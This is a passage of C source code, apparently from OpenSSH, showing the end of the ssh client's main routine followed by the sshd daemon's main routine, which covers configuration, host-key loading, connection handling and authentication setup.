stdin_null_flag) && options.request_tty != REQUEST_TTY_FORCE) { if (tty_flag) logit("Pseudo-terminal will not be allocated because " "stdin is not a terminal."); tty_flag = 0; } /* * Initialize "log" output. Since we are the client all output * actually goes to stderr. */ log_init(argv0, options.log_level == -1 ? SYSLOG_LEVEL_INFO : options.log_level, SYSLOG_FACILITY_USER, !use_syslog); /* * Read per-user configuration file. Ignore the system wide config * file if the user specifies a config file on the command line. */ if (config != NULL) { if (!read_config_file(config, host, &options, 0)) fatal("Can't open user config file %.100s: " "%.100s", config, strerror(errno)); } else { r = snprintf(buf, sizeof buf, "%s/%s", pw->pw_dir, _PATH_SSH_USER_CONFFILE); if (r > 0 && (size_t)r < sizeof(buf)) (void)read_config_file(buf, host, &options, 1); /* Read systemwide configuration file after user config. */ (void)read_config_file(_PATH_HOST_CONFIG_FILE, host, &options, 0); } /* Fill configuration defaults. */ fill_default_options(&options); channel_set_af(options.address_family); /* reinit */ log_init(argv0, options.log_level, SYSLOG_FACILITY_USER, !use_syslog); seed_rng(); if (options.user == NULL) options.user = xstrdup(pw->pw_name); /* Get default port if port has not been set. */ if (options.port == 0) { sp = getservbyname(SSH_SERVICE_NAME, "tcp"); options.port = sp ? ntohs(sp->s_port) : SSH_DEFAULT_PORT; } /* preserve host name given on command line for %n expansion */ host_arg = host; if (options.hostname != NULL) { host = percent_expand(options.hostname, "h", host, (char *)NULL); } if (gethostname(thishost, sizeof(thishost)) == -1) fatal("gethostname: %s", strerror(errno)); strlcpy(shorthost, thishost, sizeof(shorthost)); shorthost[strcspn(thishost, ".")] = '\0'; snprintf(portstr, sizeof(portstr), "%d", options.port); if (options.local_command != NULL) { debug3("expanding LocalCommand: %s", options.local_command); cp = options.local_command; options.local_command = percent_expand(cp, "d", pw->pw_dir, "h", host, "l", thishost, "n", host_arg, "r", options.user, "p", portstr, "u", pw->pw_name, "L", shorthost, (char *)NULL); debug3("expanded LocalCommand: %s", options.local_command); xfree(cp); } /* force lowercase for hostkey matching */ if (options.host_key_alias != NULL) { for (p = options.host_key_alias; *p; p++) if (isupper(*p)) *p = (char)tolower(*p); } if (options.proxy_command != NULL && strcmp(options.proxy_command, "none") == 0) { xfree(options.proxy_command); options.proxy_command = NULL; } if (options.control_path != NULL && strcmp(options.control_path, "none") == 0) { xfree(options.control_path); options.control_path = NULL; } if (options.control_path != NULL) { cp = tilde_expand_filename(options.control_path, original_real_uid); xfree(options.control_path); options.control_path = percent_expand(cp, "h", host, "l", thishost, "n", host_arg, "r", options.user, "p", portstr, "u", pw->pw_name, "L", shorthost, (char *)NULL); xfree(cp); } if (muxclient_command != 0 && options.control_path == NULL) fatal("No ControlPath specified for \"-O\" command"); if (options.control_path != NULL) muxclient(options.control_path); timeout_ms = options.connection_timeout * 1000; /* Open a connection to the remote host. */ if (ssh_connect(host, &hostaddr, options.port, options.address_family, options.connection_attempts, &timeout_ms, options.tcp_keep_alive, #ifdef HAVE_CYGWIN options.use_privileged_port, #else original_effective_uid == 0 && options.use_privileged_port, #endif options.proxy_command) != 0) exit(255); if (timeout_ms > 0) debug3("timeout: %d ms remain after connect", timeout_ms); /* * If we successfully made the connection, load the host private key * in case we will need it later for combined rsa-rhosts * authentication. This must be done before releasing extra * privileges, because the file is only readable by root. * If we cannot access the private keys, load the public keys * instead and try to execute the ssh-keysign helper instead. */ sensitive_data.nkeys = 0; sensitive_data.keys = NULL; sensitive_data.external_keysign = 0; if (options.rhosts_rsa_authentication || options.hostbased_authentication) { sensitive_data.nkeys = 7; sensitive_data.keys = xcalloc(sensitive_data.nkeys, sizeof(Key)); for (i = 0; i < sensitive_data.nkeys; i++) sensitive_data.keys[i] = NULL; PRIV_START; sensitive_data.keys[0] = key_load_private_type(KEY_RSA1, _PATH_HOST_KEY_FILE, "", NULL, NULL); sensitive_data.keys[1] = key_load_private_cert(KEY_DSA, _PATH_HOST_DSA_KEY_FILE, "", NULL); #ifdef OPENSSL_HAS_ECC sensitive_data.keys[2] = key_load_private_cert(KEY_ECDSA, _PATH_HOST_ECDSA_KEY_FILE, "", NULL); #endif sensitive_data.keys[3] = key_load_private_cert(KEY_RSA, _PATH_HOST_RSA_KEY_FILE, "", NULL); sensitive_data.keys[4] = key_load_private_type(KEY_DSA, _PATH_HOST_DSA_KEY_FILE, "", NULL, NULL); #ifdef OPENSSL_HAS_ECC sensitive_data.keys[5] = key_load_private_type(KEY_ECDSA, _PATH_HOST_ECDSA_KEY_FILE, "", NULL, NULL); #endif sensitive_data.keys[6] = key_load_private_type(KEY_RSA, _PATH_HOST_RSA_KEY_FILE, "", NULL, NULL); PRIV_END; if (options.hostbased_authentication == 1 && sensitive_data.keys[0] == NULL && sensitive_data.keys[4] == NULL && sensitive_data.keys[5] == NULL && sensitive_data.keys[6] == NULL) { sensitive_data.keys[1] = key_load_cert( _PATH_HOST_DSA_KEY_FILE); #ifdef OPENSSL_HAS_ECC sensitive_data.keys[2] = key_load_cert( _PATH_HOST_ECDSA_KEY_FILE); #endif sensitive_data.keys[3] = key_load_cert( _PATH_HOST_RSA_KEY_FILE); sensitive_data.keys[4] = key_load_public( _PATH_HOST_DSA_KEY_FILE, NULL); #ifdef OPENSSL_HAS_ECC sensitive_data.keys[5] = key_load_public( _PATH_HOST_ECDSA_KEY_FILE, NULL); #endif sensitive_data.keys[6] = key_load_public( _PATH_HOST_RSA_KEY_FILE, NULL); sensitive_data.external_keysign = 1; } } /* * Get rid of any extra privileges that we may have. We will no * longer need them. Also, extra privileges could make it very hard * to read identity files and other non-world-readable files from the * user's home directory if it happens to be on a NFS volume where * root is mapped to nobody. */ if (original_effective_uid == 0) { PRIV_START; permanently_set_uid(pw); } /* * Now that we are back to our own permissions, create ~/.ssh * directory if it doesn't already exist. */ if (config == NULL) { r = snprintf(buf, sizeof buf, "%s%s%s", pw->pw_dir, strcmp(pw->pw_dir, "/") ? "/" : "", _PATH_SSH_USER_DIR); if (r > 0 && (size_t)r < sizeof(buf) && stat(buf, &st) < 0) { #ifdef WITH_SELINUX ssh_selinux_setfscreatecon(buf); #endif if (mkdir(buf, 0700) < 0) error("Could not create directory '%.200s'.", buf); #ifdef WITH_SELINUX ssh_selinux_setfscreatecon(NULL); #endif } } /* load options.identity_files */ load_public_identity_files(); /* Expand ~ in known host file names. */ tilde_expand_paths(options.system_hostfiles, options.num_system_hostfiles); tilde_expand_paths(options.user_hostfiles, options.num_user_hostfiles); signal(SIGPIPE, SIG_IGN); /* ignore SIGPIPE early */ signal(SIGCHLD, main_sigchld_handler); /* Log into the remote system. Never returns if the login fails. */ ssh_login(&sensitive_data, host, (struct sockaddr *)&hostaddr, options.port, pw, timeout_ms); if (packet_connection_is_on_socket()) { verbose("Authenticated to %s ([%s]:%d).", host, get_remote_ipaddr(), get_remote_port()); } else { verbose("Authenticated to %s (via proxy).", host); } /* We no longer need the private host keys. Clear them now. */ if (sensitive_data.nkeys != 0) { for (i = 0; i < sensitive_data.nkeys; i++) { if (sensitive_data.keys[i] != NULL) { /* Destroys contents safely */ debug3("clear hostkey %d", i); key_free(sensitive_data.keys[i]); sensitive_data.keys[i] = NULL; } } xfree(sensitive_data.keys); } for (i = 0; i < options.num_identity_files; i++) { if (options.identity_files[i]) { xfree(options.identity_files[i]); options.identity_files[i] = NULL; } if (options.identity_keys[i]) { key_free(options.identity_keys[i]); options.identity_keys[i] = NULL; } } exit_status = compat20 ? ssh_session2() : ssh_session(); packet_close(); if (options.control_path != NULL && muxserver_sock != -1) unlink(options.control_path); /* Kill ProxyCommand if it is running. */ ssh_kill_proxy_command(); return exit_status; }
/* * Main program for the daemon. */ int main(int ac, char **av) { extern char *optarg; extern int optind; int opt, sock_in = 0, sock_out = 0, newsock, j, i, fdsetsz, on = 1; pid_t pid; socklen_t fromlen; fd_set *fdset; struct sockaddr_storage from; const char *remote_ip; int remote_port; FILE *f; struct linger linger; struct addrinfo *ai; char ntop[NI_MAXHOST], strport[NI_MAXSERV]; int listen_sock, maxfd; int startup_p[2]; int startups = 0; Authctxt *authctxt; Key *key; int ret, key_used = 0; #ifdef HAVE_SECUREWARE (void)set_auth_parameters(ac, av); #endif __progname = get_progname(av[0]); init_rng(); /* Save argv. */ saved_argc = ac; saved_argv = av; /* Initialize configuration options to their default values. */ initialize_server_options(&options); /* Parse command-line arguments. */ while ((opt = getopt(ac, av, "f:p:b:k:h:g:V:u:o:dDeiqtQ46:S")) != -1) { switch (opt) { case '4': IPv4or6 = AF_INET; break; case '6': IPv4or6 = AF_INET6; break; case 'f': config_file_name = optarg; break; case 'd': if (0 == debug_flag) { debug_flag = 1; options.log_level = SYSLOG_LEVEL_DEBUG1; } else if (options.log_level < SYSLOG_LEVEL_DEBUG3) { options.log_level++; } else { fprintf(stderr, "Too high debugging level.\n"); exit(1); } break; case 'D': no_daemon_flag = 1; break; case 'e': log_stderr = 1; break; case 'i': inetd_flag = 1; break; case 'Q': /* ignored */ break; case 'q': options.log_level = SYSLOG_LEVEL_QUIET; break; case 'b': options.server_key_bits = atoi(optarg); break; case 'p': options.ports_from_cmdline = 1; if (options.num_ports >= MAX_PORTS) { fprintf(stderr, "too many ports.\n"); exit(1); } options.ports[options.num_ports++] = a2port(optarg); if (options.ports[options.num_ports-1] == 0) { fprintf(stderr, "Bad port number.\n"); exit(1); } break; case 'g': if ((options.login_grace_time = convtime(optarg)) == -1) { fprintf(stderr, "Invalid login grace time.\n"); exit(1); } break; case 'k': if ((options.key_regeneration_time = convtime(optarg)) == -1) { fprintf(stderr, "Invalid key regeneration interval.\n"); exit(1); } break; case 'h': if (options.num_host_key_files >= MAX_HOSTKEYS) { fprintf(stderr, "too many host keys.\n"); exit(1); } options.host_key_files[options.num_host_key_files++] = optarg; break; case 'V': client_version_string = optarg; /* only makes sense with inetd_flag, i.e. no listen() */ inetd_flag = 1; break; case 't': test_flag = 1; break; case 'u': utmp_len = atoi(optarg); break; case 'o': if (process_server_config_line(&options, optarg, "command-line", 0) != 0) exit(1); break; case 'S': protocol = IPPROTO_SCTP; break; case '?': default: usage(); break; } } SSLeay_add_all_algorithms(); channel_set_af(IPv4or6); /* * Force logging to stderr until we have loaded the private host * key (unless started from inetd) */ log_init(__progname, options.log_level == SYSLOG_LEVEL_NOT_SET ? SYSLOG_LEVEL_INFO : options.log_level, options.log_facility == SYSLOG_FACILITY_NOT_SET ? SYSLOG_FACILITY_AUTH : options.log_facility, !inetd_flag); #ifdef _CRAY /* Cray can define user privs drop all prives now! * Not needed on PRIV_SU systems! */ drop_cray_privs(); #endif seed_rng(); /* Read server configuration options from the configuration file. */ read_server_config(&options, config_file_name); /* Fill in default values for those options not explicitly set. */ fill_default_server_options(&options); /* Check that there are no remaining arguments. */ if (optind < ac) { fprintf(stderr, "Extra argument %s.\n", av[optind]); exit(1); } debug("sshd version %.100s", SSH_VERSION); /* load private host keys */ sensitive_data.host_keys = xmalloc(options.num_host_key_files*sizeof(Key*)); for (i = 0; i < options.num_host_key_files; i++) sensitive_data.host_keys[i] = NULL; sensitive_data.server_key = NULL; sensitive_data.ssh1_host_key = NULL; sensitive_data.have_ssh1_key = 0; sensitive_data.have_ssh2_key = 0; for (i = 0; i < options.num_host_key_files; i++) { key = key_load_private(options.host_key_files[i], "", NULL); sensitive_data.host_keys[i] = key; if (key == NULL) { error("Could not load host key: %s", options.host_key_files[i]); sensitive_data.host_keys[i] = NULL; continue; } switch (key->type) { case KEY_RSA1: sensitive_data.ssh1_host_key = key; sensitive_data.have_ssh1_key = 1; break; case KEY_RSA: case KEY_DSA: sensitive_data.have_ssh2_key = 1; break; } debug("private host key: #%d type %d %s", i, key->type, key_type(key)); } if ((options.protocol & SSH_PROTO_1) && !sensitive_data.have_ssh1_key) { log("Disabling protocol version 1. Could not load host key"); options.protocol &= ~SSH_PROTO_1; } if ((options.protocol & SSH_PROTO_2) && !sensitive_data.have_ssh2_key) { log("Disabling protocol version 2. Could not load host key"); options.protocol &= ~SSH_PROTO_2; } if (!(options.protocol & (SSH_PROTO_1|SSH_PROTO_2))) { log("sshd: no hostkeys available -- exiting."); exit(1); } /* Check certain values for sanity. */ if (options.protocol & SSH_PROTO_1) { if (options.server_key_bits < 512 || options.server_key_bits > 32768) { fprintf(stderr, "Bad server key size.\n"); exit(1); } /* * Check that server and host key lengths differ sufficiently. This * is necessary to make double encryption work with rsaref. Oh, I * hate software patents. I dont know if this can go? Niels */ if (options.server_key_bits > BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) - SSH_KEY_BITS_RESERVED && options.server_key_bits < BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED) { options.server_key_bits = BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED; debug("Forcing server key to %d bits to make it differ from host key.", options.server_key_bits); } } if (use_privsep) { struct passwd *pw; struct stat st; if ((pw = getpwnam(SSH_PRIVSEP_USER)) == NULL) fatal("Privilege separation user %s does not exist", SSH_PRIVSEP_USER); if ((stat(_PATH_PRIVSEP_CHROOT_DIR, &st) == -1) || (S_ISDIR(st.st_mode) == 0)) fatal("Missing privilege separation directory: %s", _PATH_PRIVSEP_CHROOT_DIR); if (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0) fatal("Bad owner or mode for %s", _PATH_PRIVSEP_CHROOT_DIR); } /* Configuration looks good, so exit if in test mode. */ if (test_flag) exit(0); /* * Clear out any supplemental groups we may have inherited. This * prevents inadvertent creation of files with bad modes (in the * portable version at least, it's certainly possible for PAM * to create a file, and we can't control the code in every * module which might be used). */ if (setgroups(0, NULL) < 0) debug("setgroups() failed: %.200s", strerror(errno)); /* Initialize the log (it is reinitialized below in case we forked). */ if (debug_flag && !inetd_flag) log_stderr = 1; log_init(__progname, options.log_level, options.log_facility, log_stderr); /* * If not in debugging mode, and not started from inetd, disconnect * from the controlling terminal, and fork. The original process * exits. */ if (!(debug_flag || inetd_flag || no_daemon_flag)) { #ifdef TIOCNOTTY int fd; #endif /* TIOCNOTTY */ if (daemon(0, 0) < 0) fatal("daemon() failed: %.200s", strerror(errno)); /* Disconnect from the controlling tty. */ #ifdef TIOCNOTTY fd = open(_PATH_TTY, O_RDWR | O_NOCTTY); if (fd >= 0) { (void) ioctl(fd, TIOCNOTTY, NULL); close(fd); } #endif /* TIOCNOTTY */ } /* Reinitialize the log (because of the fork above). */ log_init(__progname, options.log_level, options.log_facility, log_stderr); /* Initialize the random number generator. */ arc4random_stir(); /* Chdir to the root directory so that the current disk can be unmounted if desired. */ chdir("/"); /* ignore SIGPIPE */ signal(SIGPIPE, SIG_IGN); /* Start listening for a socket, unless started from inetd. */ if (inetd_flag) { int s1; s1 = dup(0); /* Make sure descriptors 0, 1, and 2 are in use. */ dup(s1); sock_in = dup(0); sock_out = dup(1); startup_pipe = -1; /* * We intentionally do not close the descriptors 0, 1, and 2 * as our code for setting the descriptors won\'t work if * ttyfd happens to be one of those. */ debug("inetd sockets after dupping: %d, %d", sock_in, sock_out); if (options.protocol & SSH_PROTO_1) generate_ephemeral_server_key(); } else { for (ai = options.listen_addrs; ai; ai = ai->ai_next) { if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) continue; if (num_listen_socks >= MAX_LISTEN_SOCKS) fatal("Too many listen sockets. " "Enlarge MAX_LISTEN_SOCKS"); if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop, sizeof(ntop), strport, sizeof(strport), NI_NUMERICHOST|NI_NUMERICSERV) != 0) { error("getnameinfo failed"); continue; } /* Create socket for listening. */ listen_sock = socket(ai->ai_family, SOCK_STREAM, protocol); if (listen_sock < 0) { /* kernel may not support ipv6 */ verbose("socket: %.100s", strerror(errno)); continue; } if (fcntl(listen_sock, F_SETFL, O_NONBLOCK) < 0) { error("listen_sock O_NONBLOCK: %s", strerror(errno)); close(listen_sock); continue; } /* * Set socket options. We try to make the port * reusable and have it close as fast as possible * without waiting in unnecessary wait states on * close. */ setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)); linger.l_onoff = 1; linger.l_linger = 5; setsockopt(listen_sock, SOL_SOCKET, SO_LINGER, &linger, sizeof(linger)); debug("Bind to port %s on %s.", strport, ntop); /* Bind the socket to the desired port. */ if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) < 0) { if (!ai->ai_next) error("Bind to port %s on %s failed: %.200s.", strport, ntop, strerror(errno)); close(listen_sock); continue; } listen_socks[num_listen_socks] = listen_sock; num_listen_socks++; /* Start listening on the port. */ log("Server listening on %s port %s.", ntop, strport); if (listen(listen_sock, 5) < 0) fatal("listen: %.100s", strerror(errno)); } freeaddrinfo(options.listen_addrs); if (!num_listen_socks) fatal("Cannot bind any address."); if (options.protocol & SSH_PROTO_1) generate_ephemeral_server_key(); /* * Arrange to restart on SIGHUP. The handler needs * listen_sock. */ signal(SIGHUP, sighup_handler); signal(SIGTERM, sigterm_handler); signal(SIGQUIT, sigterm_handler); /* Arrange SIGCHLD to be caught. */ signal(SIGCHLD, main_sigchld_handler); /* Write out the pid file after the sigterm handler is setup */ if (!debug_flag) { /* * Record our pid in /var/run/sshd.pid to make it * easier to kill the correct sshd. We don't want to * do this before the bind above because the bind will * fail if there already is a daemon, and this will * overwrite any old pid in the file. */ f = fopen(options.pid_file, "wb"); if (f) { fprintf(f, "%ld\n", (long) getpid()); fclose(f); } } /* setup fd set for listen */ fdset = NULL; maxfd = 0; for (i = 0; i < num_listen_socks; i++) if (listen_socks[i] > maxfd) maxfd = listen_socks[i]; /* pipes connected to unauthenticated childs */ startup_pipes = xmalloc(options.max_startups * sizeof(int)); for (i = 0; i < options.max_startups; i++) startup_pipes[i] = -1; /* * Stay listening for connections until the system crashes or * the daemon is killed with a signal. */ for (;;) { if (received_sighup) sighup_restart(); if (fdset != NULL) xfree(fdset); fdsetsz = howmany(maxfd+1, NFDBITS) * sizeof(fd_mask); fdset = (fd_set *)xmalloc(fdsetsz); memset(fdset, 0, fdsetsz); for (i = 0; i < num_listen_socks; i++) FD_SET(listen_socks[i], fdset); for (i = 0; i < options.max_startups; i++) if (startup_pipes[i] != -1) FD_SET(startup_pipes[i], fdset); /* Wait in select until there is a connection. */ ret = select(maxfd+1, fdset, NULL, NULL, NULL); if (ret < 0 && errno != EINTR) error("select: %.100s", strerror(errno)); if (received_sigterm) { log("Received signal %d; terminating.", (int) received_sigterm); close_listen_socks(); unlink(options.pid_file); exit(255); } if (key_used && key_do_regen) { generate_ephemeral_server_key(); key_used = 0; key_do_regen = 0; } if (ret < 0) continue; for (i = 0; i < options.max_startups; i++) if (startup_pipes[i] != -1 && FD_ISSET(startup_pipes[i], fdset)) { /* * the read end of the pipe is ready * if the child has closed the pipe * after successful authentication * or if the child has died */ close(startup_pipes[i]); startup_pipes[i] = -1; startups--; } for (i = 0; i < num_listen_socks; i++) { if (!FD_ISSET(listen_socks[i], fdset)) continue; fromlen = sizeof(from); newsock = accept(listen_socks[i], (struct sockaddr *)&from, &fromlen); if (newsock < 0) { if (errno != EINTR && errno != EWOULDBLOCK) error("accept: %.100s", strerror(errno)); continue; } if (fcntl(newsock, F_SETFL, 0) < 0) { error("newsock del O_NONBLOCK: %s", strerror(errno)); close(newsock); continue; } if (drop_connection(startups) == 1) { debug("drop connection #%d", startups); close(newsock); continue; } if (pipe(startup_p) == -1) { close(newsock); continue; } for (j = 0; j < options.max_startups; j++) if (startup_pipes[j] == -1) { startup_pipes[j] = startup_p[0]; if (maxfd < startup_p[0]) maxfd = startup_p[0]; startups++; break; } /* * Got connection. Fork a child to handle it, unless * we are in debugging mode. */ if (debug_flag) { /* * In debugging mode. Close the listening * socket, and start processing the * connection without forking. */ debug("Server will not fork when running in debugging mode."); close_listen_socks(); sock_in = newsock; sock_out = newsock; startup_pipe = -1; pid = getpid(); break; } else { /* * Normal production daemon. Fork, and have * the child process the connection. The * parent continues listening. */ if ((pid = fork()) == 0) { /* * Child. Close the listening and max_startup * sockets. Start using the accepted socket. * Reinitialize logging (since our pid has * changed). We break out of the loop to handle * the connection. */ startup_pipe = startup_p[1]; close_startup_pipes(); close_listen_socks(); sock_in = newsock; sock_out = newsock; log_init(__progname, options.log_level, options.log_facility, log_stderr); break; } } /* Parent. Stay in the loop. */ if (pid < 0) error("fork: %.100s", strerror(errno)); else debug("Forked child %ld.", (long)pid); close(startup_p[1]); /* Mark that the key has been used (it was "given" to the child). */ if ((options.protocol & SSH_PROTO_1) && key_used == 0) { /* Schedule server key regeneration alarm. */ signal(SIGALRM, key_regeneration_alarm); alarm(options.key_regeneration_time); key_used = 1; } arc4random_stir(); /* Close the new socket (the child is now taking care of it). */ close(newsock); } /* child process check (or debug mode) */ if (num_listen_socks < 0) break; } } /* This is the child processing a new connection. */ /* * Create a new session and process group since the 4.4BSD * setlogin() affects the entire process group. We don't * want the child to be able to affect the parent. */ #if 0 /* XXX: this breaks Solaris */ if (!debug_flag && !inetd_flag && setsid() < 0) error("setsid: %.100s", strerror(errno)); #endif /* * Disable the key regeneration alarm. We will not regenerate the * key since we are no longer in a position to give it to anyone. We * will not restart on SIGHUP since it no longer makes sense. */ alarm(0); signal(SIGALRM, SIG_DFL); signal(SIGHUP, SIG_DFL); signal(SIGTERM, SIG_DFL); signal(SIGQUIT, SIG_DFL); signal(SIGCHLD, SIG_DFL); signal(SIGINT, SIG_DFL); /* * Set socket options for the connection. We want the socket to * close as fast as possible without waiting for anything. If the * connection is not a socket, these will do nothing. */ /* setsockopt(sock_in, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ linger.l_onoff = 1; linger.l_linger = 5; setsockopt(sock_in, SOL_SOCKET, SO_LINGER, &linger, sizeof(linger)); /* Set keepalives if requested. */ if (options.keepalives && setsockopt(sock_in, SOL_SOCKET, SO_KEEPALIVE, &on, sizeof(on)) < 0) error("setsockopt SO_KEEPALIVE: %.100s", strerror(errno)); /* * Register our connection. This turns encryption off because we do * not have a key. */ packet_set_connection(sock_in, sock_out); remote_port = get_remote_port(); remote_ip = get_remote_ipaddr(); #ifdef LIBWRAP /* Check whether logins are denied from this host. */ { struct request_info req; request_init(&req, RQ_DAEMON, __progname, RQ_FILE, sock_in, 0); fromhost(&req); if (!hosts_access(&req)) { debug("Connection refused by tcp wrapper"); refuse(&req); /* NOTREACHED */ fatal("libwrap refuse returns"); } } #endif /* LIBWRAP */ /* Log the connection. */ verbose("Connection from %.500s port %d", remote_ip, remote_port); /* * We don\'t want to listen forever unless the other side * successfully authenticates itself. So we set up an alarm which is * cleared after successful authentication. A limit of zero * indicates no limit. Note that we don\'t set the alarm in debugging * mode; it is just annoying to have the server exit just when you * are about to discover the bug. */ signal(SIGALRM, grace_alarm_handler); if (!debug_flag) alarm(options.login_grace_time); sshd_exchange_identification(sock_in, sock_out); /* * Check that the connection comes from a privileged port. * Rhosts-Authentication only makes sense from privileged * programs. Of course, if the intruder has root access on his local * machine, he can connect from any port. So do not use these * authentication methods from machines that you do not trust. */ if (options.rhosts_authentication && (remote_port >= IPPORT_RESERVED || remote_port < IPPORT_RESERVED / 2)) { debug("Rhosts Authentication disabled, " "originating port %d not trusted.", remote_port); options.rhosts_authentication = 0; } #if defined(KRB4) && !defined(KRB5) if (!packet_connection_is_ipv4() && options.kerberos_authentication) { debug("Kerberos Authentication disabled, only available for IPv4."); options.kerberos_authentication = 0; } #endif /* KRB4 && !KRB5 */ #ifdef AFS /* If machine has AFS, set process authentication group. */ if (k_hasafs()) { k_setpag(); k_unlog(); } #endif /* AFS */ packet_set_nonblocking(); if (use_privsep) if ((authctxt = privsep_preauth()) != NULL) goto authenticated; /* perform the key exchange */ /* authenticate user and start session */ if (compat20) { do_ssh2_kex(); authctxt = do_authentication2(); } else { do_ssh1_kex(); authctxt = do_authentication(); } /* * If we use privilege separation, the unprivileged child transfers * the current keystate and exits */ if (use_privsep) { mm_send_keystate(pmonitor); exit(0); } authenticated: /* * In privilege separation, we fork another child and prepare * file descriptor passing. */ if (use_privsep) { privsep_postauth(authctxt); /* the monitor process [priv] will not return */ if (!compat20) destroy_sensitive_data(); } /* Perform session preparation. */ do_authenticated(authctxt); /* The connection has been terminated. */ verbose("Closing connection to %.100s", remote_ip); #ifdef USE_PAM finish_pam(); #endif /* USE_PAM */ packet_close(); if (use_privsep) mm_terminate(); exit(0); }